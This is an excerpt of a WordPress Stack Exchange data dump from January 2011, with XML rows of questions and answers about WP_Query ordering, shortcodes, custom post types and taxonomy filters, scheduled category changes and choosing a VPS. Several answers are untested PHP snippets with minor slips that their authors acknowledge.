  <row Id="7601" PostTypeId="2" ParentId="7599" CreationDate="2011-01-24T06:57:30.280" Score="2" ViewCount="" Body="&lt;p&gt;Which order you want to achieve? Chronological? Alphabetical?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;Order &amp;amp; Orderby Parameters&lt;/a&gt; in Codex for available arguments.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-24T06:57:30.280" />
  <row Id="7602" PostTypeId="2" ParentId="7594" CreationDate="2011-01-24T07:13:05.567" Score="1" ViewCount="" Body="&lt;p&gt;I have done this before with &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-include-file/&quot; rel=&quot;nofollow&quot;&gt;wp-include-file&lt;/a&gt;&#xA;you need to edit the file called wp-include-file.php in the plugin`s directory&#xA;look at line 144 and replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return do_shortcode($content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that`s it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-24T07:13:05.567" CommentCount="0" />
  <row Id="7603" PostTypeId="2" ParentId="7599" CreationDate="2011-01-24T07:19:06.103" Score="0" ViewCount="" Body="&lt;p&gt;just change this line in your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $posts = new WP_Query('post_type=page_content&amp;amp;page_sections=Slider (Front Page)') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $posts = new WP_Query('post_type=page_content&amp;amp;page_sections=Slider (Front Page)&amp;amp;order=ASC') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically it adds the order parameter witch can take two values (ASC,DESC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-24T07:19:06.103" />
  <row Id="7604" PostTypeId="2" ParentId="7594" CreationDate="2011-01-24T07:23:29.577" Score="1" ViewCount="" Body="&lt;p&gt;Didn't test it but rather than editing plugin file it might be more convenient to wrap its call in your own function and re-register shortcode. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_include_file_with_shortcode( $atts ) {&#xA;&#xA;    return do_shortcode( wp_include_file( $atts ) );&#xA;}&#xA;&#xA;remove_shortcode( 'include' );&#xA;add_shortcode( 'include', 'wp_include_file_with_shortcodes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-24T07:23:29.577" CommentCount="1" />
  <row Id="7605" PostTypeId="2" ParentId="7587" CreationDate="2011-01-24T07:36:12.220" Score="1" ViewCount="" Body="&lt;p&gt;I have to agree with &lt;strong&gt;MikeSchinkel&lt;/strong&gt; on this being an opinion question so here is my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would go in a different direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes Use under 10 directories and use tags all over but &lt;strong&gt;do use&lt;/strong&gt; sub-categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beauty of WordPress build-in categories is their way of organizing posts in hierarchy,&#xA;and judging by geniustypes.com they use that same structure of about 3 main categories and there rest are subcategories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest I can't say witch way is more effective user wise but in your case the management of the categories will be a lot easier and no plugin is needed because WordPress&#xA;category management that come's out-of-the-box is more then sufficient for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now again this is my opinion that i have picked up in years of experience but I'm more then sure that MikeSchinkel has (probably) more experience then me and I respect and understand the way he is suggesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope I helped.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-24T07:36:12.220" CommentCount="6" />
  <row Id="7606" PostTypeId="1" AcceptedAnswerId="7608" CreationDate="2011-01-24T08:06:02.927" Score="0" ViewCount="104" Body="&lt;p&gt;Few days ago I asked a question about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7492/how-to-show-the-taxonomy-assigned-to-a-post-in-the-table-where-all-the-posts-are&quot;&gt;How to show a custom taxonomy in a custom post type column (and insert some 'default' terms to the custom taxonomy)&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I saw an answer for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/578/adding-a-taxonomy-filter-to-admin-list-for-a-custom-post-type/582#582&quot;&gt;Adding a Taxonomy Filter to Admin List for a Custom Post Type&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Both &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;answered&lt;/a&gt; by &lt;a href=&quot;http://wordpress.stackexchange.com/users/89/mikeschinkel&quot;&gt;MikeSchinkel&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to merge both features: to create a custom post type, a custom taxonomy, adding some terms in the custom taxonomy, displaying the custom taxonomy in the custom post type's column, and adding a taxonomy filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it sounds long, they are all done in those two questions, just need to merge them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How that code would look like?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-24T08:49:20.863" LastActivityDate="2011-01-24T08:53:57.487" Title="How can I merge this function(s) that inserts terms to a custom taxonomy with this other that adds a custom taxonomy filter?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="7607" PostTypeId="1" AcceptedAnswerId="7611" CreationDate="2011-01-24T08:37:40.233" Score="0" ViewCount="200" Body="&lt;p&gt;I am into trouble, I had my website on host-gators shared server, but my website got suspended just due to high traffic,&#xA;Now I am planning to go for VPS,&#xA;But don't know which one to go for,&#xA;I don't have any idea how to select a VPS,&#xA;in terms of RAM, burst memory, Bandwith etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My requirements are 10-20 GB HDD, no idea for RAM and burst memory and bandwith, Cpanel,  and OS which will run my wordpress,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this VPS I am just going to host my 1 wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to small requirement I can spend 10-20$ per month&#xA;Which will be a good VPS or configuration for VPS for my requirements.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-04-16T06:58:10.880" Title="need VPS suggestions" Tags="&lt;hosting&gt;&lt;vps&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="7608" PostTypeId="2" ParentId="7606" CreationDate="2011-01-24T08:52:02.023" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you want this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Fullscreen-20110124-035055.png&quot; alt=&quot;WordPress Admin for Custom Post Types with Custom Filters and Custom Columns&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright, here ya go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/*&#xA;Plugin name: Static Content&#xA;*/&#xA;if (!class_exists('YourSite_StaticContent')) {&#xA; class YourSite_StaticContent {&#xA;   static function on_load() {&#xA;     add_action('init',array(__CLASS__,'init'));&#xA;     add_filter('manage_static_content_posts_columns',&#xA;         array(__CLASS__,'manage_static_content_posts_columns'));&#xA;     add_filter('manage_posts_custom_column',&#xA;         array(__CLASS__,'manage_posts_custom_column'),10,2);&#xA;     add_action('restrict_manage_posts',&#xA;         array(__CLASS__,'restrict_manage_posts'));&#xA;     add_filter('parse_query',&#xA;         array(__CLASS__,'parse_query'));&#xA;   }&#xA;   static function init() {&#xA;     register_post_type('static_content',array(&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Static Content' ),&#xA;         'singular_name' =&amp;gt; __( 'Static Content' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Static Content',&#xA;         'edit_item' =&amp;gt; 'Edit Static Content',&#xA;         'new_item' =&amp;gt; 'New Static Content',&#xA;         'search_items' =&amp;gt; 'Search Static Content',&#xA;         'not_found' =&amp;gt; 'No Static Content found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Static Content found in trash',&#xA;       ),&#xA;       'public' =&amp;gt; true,&#xA;       'hierarchical' =&amp;gt; false,&#xA;       'taxonomies' =&amp;gt; array( 'section'),&#xA;       'supports' =&amp;gt; array('title','editor','excerpt'),&#xA;       'rewrite' =&amp;gt; array('slug'=&amp;gt;'static_content','with_front'=&amp;gt;false),&#xA;     ));&#xA;     register_taxonomy('section','static_content',array(&#xA;       'hierarchical' =&amp;gt; true,&#xA;       'labels' =&amp;gt; array(&#xA;         'name' =&amp;gt; __( 'Section' ),&#xA;         'singular_name' =&amp;gt; __( 'Section' ),&#xA;         'add_new_item' =&amp;gt; 'Add New Section',&#xA;         'edit_item' =&amp;gt; 'Edit Section',&#xA;         'new_item' =&amp;gt; 'New Section',&#xA;         'search_items' =&amp;gt; 'Search Section',&#xA;         'not_found' =&amp;gt; 'No Sections found',&#xA;         'not_found_in_trash' =&amp;gt; 'No Sections found in trash',&#xA;         'all_items' =&amp;gt; __( 'All Sections' ),&#xA;       ),&#xA;       'query_var' =&amp;gt; true,&#xA;       'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'section' ),&#xA;       ));&#xA;     if (!get_option('yoursite-static-content-initialized')) {&#xA;       $terms = array(&#xA;         'Footer',&#xA;         'Header',&#xA;         'Front Page Intro',&#xA;         'Front Page Content',&#xA;         );&#xA;       foreach($terms as $term) {&#xA;         if (!get_term_by('name',$term,'section')) {&#xA;           wp_insert_term($term, 'section');&#xA;         }&#xA;       }&#xA;       update_option('yoursite-static-content-initialized',true);&#xA;     }&#xA;   }&#xA;   function manage_static_content_posts_columns($columns){&#xA;     $new = array();&#xA;     foreach($columns as $key =&amp;gt; $title) {&#xA;       if ($key=='author') // Put the Sections column before the Author column&#xA;         $new['sections'] = 'Sections';&#xA;       $new[$key] = $title;&#xA;     }&#xA;     return $new;&#xA;   }&#xA;   function manage_posts_custom_column( $column,$post_id ) {&#xA;     global $typenow;&#xA;     if ($typenow=='static_content') {&#xA;       $taxonomy = 'section';&#xA;       switch ($column) {&#xA;       case 'sections':&#xA;         $sections = get_the_terms($post_id,$taxonomy);&#xA;         if (is_array($sections)) {&#xA;           foreach($sections as $key =&amp;gt; $section) {&#xA;             $edit_link = get_term_link($section,$taxonomy);&#xA;             $sections[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $section-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;           }&#xA;           echo implode(' | ',$sections);&#xA;         }&#xA;         break;&#xA;       }&#xA;     }&#xA;   }&#xA;   function parse_query($query) {&#xA;     global $pagenow;&#xA;     $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;     if ($pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;         isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='section' &amp;amp;&amp;amp;&#xA;         isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;       $term = get_term_by('id',$qv['term'],'section');&#xA;       $qv['term'] = $term-&amp;gt;slug;&#xA;     }&#xA;   }&#xA;   function restrict_manage_posts() {&#xA;     global $typenow;&#xA;     global $wp_query;&#xA;     if ($typenow=='static_content') {&#xA;       $taxonomy = 'section';&#xA;       $section = get_taxonomy($taxonomy);&#xA;       wp_dropdown_categories(array(&#xA;         'show_option_all' =&amp;gt;  __(&quot;Show All {$section-&amp;gt;label}&quot;),&#xA;         'taxonomy'        =&amp;gt;  $taxonomy,&#xA;         'name'            =&amp;gt;  $taxonomy,&#xA;         'orderby'         =&amp;gt;  'name',&#xA;         'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;         'hierarchical'    =&amp;gt;  true,&#xA;         'depth'           =&amp;gt;  3,&#xA;         'show_count'      =&amp;gt;  true,  // This will give a view&#xA;         'hide_empty'      =&amp;gt;  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that&#xA;       ));&#xA;     }&#xA;   }&#xA; }&#xA; YourSite_StaticContent::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-24T08:52:02.023" />
  <row Id="7609" PostTypeId="2" ParentId="7571" CreationDate="2011-01-24T08:52:50.880" Score="2" ViewCount="" Body="&lt;p&gt;Don't know of a plugin but you can use wp_schedule_single_event function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create a meta box that takes to values: time for removal and what category we want to set it to when removed from featured.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /* hook meta box */&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;&#xA;/* hook meta box function */&#xA;function admin_init(){&#xA;    add_meta_box(&quot;Featured Removal&quot;, &quot;Featured Removal&quot;, &quot;Featured_Removal_options&quot;, &quot;post&quot;, &quot;normal&quot;, &quot;high&quot;);&#xA;}&#xA;&#xA;/* display meta box */&#xA;function Featured_Removal_options() {&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;wp_meta_box_nonce&quot; value=&quot;', wp_create_nonce('Featured Removal'), '&quot; /&amp;gt;';&#xA;    &amp;lt;?&#xA;    &amp;lt;table border=0&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;Remove_after&quot;&amp;gt;Remove From Featured After:&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;Remove_after&quot; id=&quot;Remove_after&quot; value=&quot;&amp;lt;?php $custom['Remove_after'] ? $custom['Remove_after'] : ''; ?&amp;gt;&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;        Enter time in Seconds Ex: 1 Hour = 3600 Seconds , 1 Day = 86400 Seconds.&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;Remove_after_to_cat&quot;&amp;gt;Remove From Featured To Category:&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;Remove_after_to_cat&quot; id=&quot;Remove_after_to_cat&quot; value=&quot;&amp;lt;?php $custom['Remove_after_to_cat'] ? $custom['Remove_after_to_cat'] : ''; ?&amp;gt;&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;        Enter the category id of the category you want to remove the post after the time has passed. if more then one separate by commas Ex: 12,13,24&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;/* save meta box hook*/&#xA;add_action('save_post', 'save_Featured_Removal_options');&#xA;&#xA;/* save meta box function*/&#xA;function save_Featured_Removal_options($post_id) {&#xA;    if (!wp_verify_nonce($_POST['wp_meta_box_nonce'], &quot;Featured Removal&quot;)) {&#xA;        return $post_id;&#xA;    }&#xA;    // check autosave&#xA;    if (defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) {&#xA;        return $post_id;&#xA;    }&#xA;    If (isset($_POST['Remove_after']) &amp;amp;&amp;amp; isset($_POST['Remove_after_to_cat'])){&#xA;        //cerate scheduled event&#xA;        $time = time() + $_POST['Remove_after'];&#xA;        wp_schedule_single_event($time, 'Clean_my_featured',$post_id);&#xA;        //save meta data&#xA;        update_post_meta($post_id, 'Remove_after', $_POST['Remove_after']);&#xA;        update_post_meta($post_id, 'Remove_after_to_cat', $_POST['Remove_after_to_cat']);&#xA;    }    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now watch the save Meta Box function , if the user has enter both time for removal and category id for the new category then we set a scheduled event&#xA;with &lt;strong&gt;wp_schedule_single_event&lt;/strong&gt; and hook it to &quot;&lt;strong&gt;Clean_my_featured&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now we only need to add the action for that hook and the function for the removal itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /* hook removal event function */&#xA;    add_action('Clean_my_featured','remove_post_from_featured');&#xA;&#xA;// the function that removes a post form a category and sets a new one&#xA;function remove_post_from_featured($post_id) {&#xA;    $cats = get_post_meta($post_id, 'Remove_after_to_cat', true);&#xA;    wp_set_post_terms( $post_ID, $cats, 'category');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no Idea if this works but it should so just copy all of it to a plugin file or your themes functions.php file and it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not let me know.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-24T08:52:50.880" CommentCount="4" />
  <row Id="7610" PostTypeId="2" ParentId="7606" CreationDate="2011-01-24T08:53:57.487" Score="0" ViewCount="" Body="&lt;p&gt;Look I did this (and it worked):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the difference (which one is better code)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I tried this (see the last function):**&#xA;&#xA;    /**&#xA;     * Description: Adds a taxonomy filter in the admin list page for a custom post type.&#xA;     * Written for: http://wordpress.stackexchange.com/posts/582/&#xA;     * By: Mike Schinkel - http://mikeschinkel.com/custom-workpress-plugins&#xA;     * Instructions: Put this code in your theme's functions.php file or inside your own plugin. Edit to suite your post types and taxonomies. Hope this helps...&#xA;    */&#xA;    add_filter('manage_listing_posts_columns', 'add_businesses_column_to_listing_list');&#xA;    function add_businesses_column_to_listing_list( $posts_columns ) {&#xA;        if (!isset($posts_columns['author'])) {&#xA;            $new_posts_columns = $posts_columns;&#xA;        } else {&#xA;            $new_posts_columns = array();&#xA;            $index = 0;&#xA;            foreach($posts_columns as $key =&amp;gt; $posts_column) {&#xA;                if ($key=='author') {&#xA;                $new_posts_columns['businesses'] = null;&#xA;                }&#xA;                $new_posts_columns[$key] = $posts_column;&#xA;            }&#xA;        }&#xA;        $new_posts_columns['businesses'] = 'Businesses';&#xA;        return $new_posts_columns;&#xA;    }&#xA;&#xA;    add_action('manage_posts_custom_column', 'show_businesses_column_for_listing_list',10,2);&#xA;    function show_businesses_column_for_listing_list( $column_id,$post_id ) {&#xA;        global $typenow;&#xA;        if ($typenow=='listing') {&#xA;            $taxonomy = 'business';&#xA;            switch ($column_id) {&#xA;            case 'businesses':&#xA;                $businesses = get_the_terms($post_id,$taxonomy);&#xA;                if (is_array($businesses)) {&#xA;                    foreach($businesses as $key =&amp;gt; $business) {&#xA;                        $edit_link = get_term_link($business,$taxonomy);&#xA;                        $businesses[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $business-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;                    }&#xA;                    echo implode(' | ',$businesses);&#xA;                }&#xA;                break;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    /* JUST AN HYPOTHETICAL EXAMPLE&#xA;    add_action('manage_posts_custom_column', 'manage_posts_custom_column',10,2);&#xA;    function manage_posts_custom_column( $column_id,$post_id ) {&#xA;        global $typenow;&#xA;        switch (&quot;{$typenow}:{$column_id}&quot;) {&#xA;        case 'listing:business':&#xA;            echo '...whatever...';&#xA;            break;&#xA;        case 'listing:property':&#xA;            echo '...whatever...';&#xA;            break;&#xA;        case 'agent:listing':&#xA;            echo '...whatever...';&#xA;            break;&#xA;        }&#xA;    }&#xA;    */&#xA;&#xA;    add_action('restrict_manage_posts','restrict_listings_by_business');&#xA;    function restrict_listings_by_business() {&#xA;        global $typenow;&#xA;        global $wp_query;&#xA;        if ($typenow=='listing') {&#xA;            $taxonomy = 'business';&#xA;            $business_taxonomy = get_taxonomy($taxonomy);&#xA;            wp_dropdown_categories(array(&#xA;                'show_option_all' =&amp;gt;  __(&quot;Show All {$business_taxonomy-&amp;gt;label}&quot;),&#xA;                'taxonomy'        =&amp;gt;  $taxonomy,&#xA;                'name'            =&amp;gt;  'business',&#xA;                'orderby'         =&amp;gt;  'name',&#xA;                'selected'        =&amp;gt;  $wp_query-&amp;gt;query['term'],&#xA;                'hierarchical'    =&amp;gt;  true,&#xA;                'depth'           =&amp;gt;  3,&#xA;                'show_count'      =&amp;gt;  true,  // This will give a view&#xA;                'hide_empty'      =&amp;gt;  true,   // This will give false positives, i.e. one's not empty related to the other terms. TODO: Fix that&#xA;            ));&#xA;        }&#xA;    }&#xA;&#xA;    add_filter('parse_query','convert_business_id_to_taxonomy_term_in_query');&#xA;    function convert_business_id_to_taxonomy_term_in_query($query) {&#xA;        global $pagenow;&#xA;        $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;        if ($pagenow=='edit.php' &amp;amp;&amp;amp;&#xA;                isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='business' &amp;amp;&amp;amp;&#xA;                isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;            $term = get_term_by('id',$qv['term'],'business');&#xA;            $qv['term'] = $term-&amp;gt;slug;&#xA;        }&#xA;    }&#xA;&#xA;    add_action('init','register_listing_post_type');&#xA;    function register_listing_post_type() {&#xA;        register_post_type('listing',array(&#xA;            'label' =&amp;gt; 'Listings',&#xA;            'public' =&amp;gt; true,&#xA;            'publicly_queryable' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; true,&#xA;            'capability_type' =&amp;gt; 'post',&#xA;            'hierarchical' =&amp;gt; false,&#xA;        ));&#xA;    }&#xA;&#xA;    add_action('init','register_business_taxonomy');&#xA;    function register_business_taxonomy() {&#xA;        register_taxonomy('business',array('listing'),array(&#xA;            'label' =&amp;gt; 'Businesses',&#xA;            'public'=&amp;gt;true,&#xA;            'hierarchical'=&amp;gt;true,&#xA;            'show_ui'=&amp;gt;true,&#xA;            'query_var'=&amp;gt;true&#xA;        ));&#xA;    }&#xA;&#xA;    add_action('init','insert_default_terms');&#xA;    function insert_default_terms() {&#xA;      if (!get_option('site-page-content-initialized')) {&#xA;        $terms = array(&#xA;          'Intro (Front Page)',&#xA;          'Content (Front Page)',&#xA;          'Slider (Front Page)',&#xA;          );&#xA;        foreach($terms as $term) {&#xA;          if (!get_term_by('name',$term,'business')) {&#xA;            wp_insert_term($term, 'business');&#xA;          }&#xA;        }&#xA;        update_option('site-page-content-initialized',true);&#xA;      }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-24T08:53:57.487" CommentCount="2" />
  <row Id="7611" PostTypeId="2" ParentId="7607" CreationDate="2011-01-24T09:07:14.613" Score="4" ViewCount="" Body="&lt;p&gt;Well the amount of RAM and bandwidth really depeneds on how much traffic you're dealing with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of bandwidth usage based on visitors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 6,142 visitors with 24,082 page views you are looking at 2.5 GB of bandwidth.&#xA; 67,511 visitors with 330,902 page views you are looking at 35 GB of bandwidth.&#xA; 2,089,682 visitors with 11,151,613 page views you are looking at 1 TB of bandwidth.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully the above stats can help you roughly figure out how much bandwidth you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RAM also depends on how much traffic you're dealing with and what sort of stuff you're dealing with. If you're hosting large items that need downloading and handling alot of traffic then you'll need a ton of RAM. If it's just a large blog with text and images then you won't need as much. I'll give an example of ram required based a large blog with text and images using the stats used above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 6,142 visitors with 24,082 page views you are looking at 256 MB of RAM.&#xA; 67,511 visitors with 330,902 page views you are looking at 564 MB of RAM.&#xA; 2,089,682 visitors with 11,151,613 page views you are looking at 2 GB of RAM.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are based on using WP Super Cache as your caching engine. Not using a cache engine will increase your server load. Using W3 Total Cache is rumored to cause high server loads aswell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some places I recommend looking at for hosting are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.caratnetworks.com&quot; rel=&quot;nofollow&quot;&gt;http://www.caratnetworks.com&lt;/a&gt; - VPS starting from $15 with 256 MB of RAM busting up to 1 GB. With 50 GB of HDD, 500 GB of Bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kimsufi.com&quot; rel=&quot;nofollow&quot;&gt;http://www.kimsufi.com&lt;/a&gt; - Dedicated server starting from £20 with 2 GB of RAM, 250 GB HDD, 3 TB of Bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rackspacecloud.com&quot; rel=&quot;nofollow&quot;&gt;http://www.rackspacecloud.com&lt;/a&gt; - Cloud instance starting from $11 with 256MB, 10 GB HDD. This is a good option if you want to scale with ease and want good support. You can increase you hardware specs cheaply on the fly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this is of some help to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Source some awstats log analysis.)&lt;/p&gt;&#xA;" OwnerUserId="2596" LastEditorUserId="2596" LastEditorDisplayName="" LastEditDate="2011-01-24T09:28:47.340" LastActivityDate="2011-01-24T09:28:47.340" CommentCount="10" />
  <row Id="7612" PostTypeId="1" AcceptedAnswerId="7615" CreationDate="2011-01-24T11:00:30.240" Score="0" ViewCount="382" Body="&lt;p&gt;I have function that check what is main top category of post. So i have category tree like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Foo&#xA;-bar&#xA;--foobar&#xA;cat2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if post is in foobar, my function  post_is_in_descendant_category shows me &quot;foo&quot; and i can style that post with style-foo.css. What i want now is to make this same possible for styling category page &quot;foobar&quot;. Wordpress functions in_category works only for posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my code &lt;code&gt;if ( in_category( 'foo' ) ||  post_is_in_descendant_category( get_term_by( 'name', 'foo', 'category' )) || is_category('56') )&lt;/code&gt; doesn't work for subcategories.&lt;/p&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-24T11:44:14.353" LastActivityDate="2011-05-10T12:01:26.833" Title="If category is in parent category?" Tags="&lt;categories&gt;&lt;functions&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="0" />
  <row Id="7613" PostTypeId="1" CreationDate="2011-01-24T11:00:50.770" Score="1" ViewCount="34" Body="&lt;p&gt;I was chatting with a non-techy friend who doesn't even use wordpress...she told me in some blogs, specially activism ones, there are some issues being repeatedly discussed, sometimes she likes to comment on the &quot;issue&quot; not on the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;issues&quot; are represented by tags usually or categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i was wondering, is there a way to comment on &quot;tags&quot; or have discussion via nested comments ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and what do u think of the concept as a whole, not only the technicalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for feedback&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-01-24T17:11:30.590" Title="Ability to comment on tags that represent a certain &quot;issue&quot;" Tags="&lt;comments&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="0" />
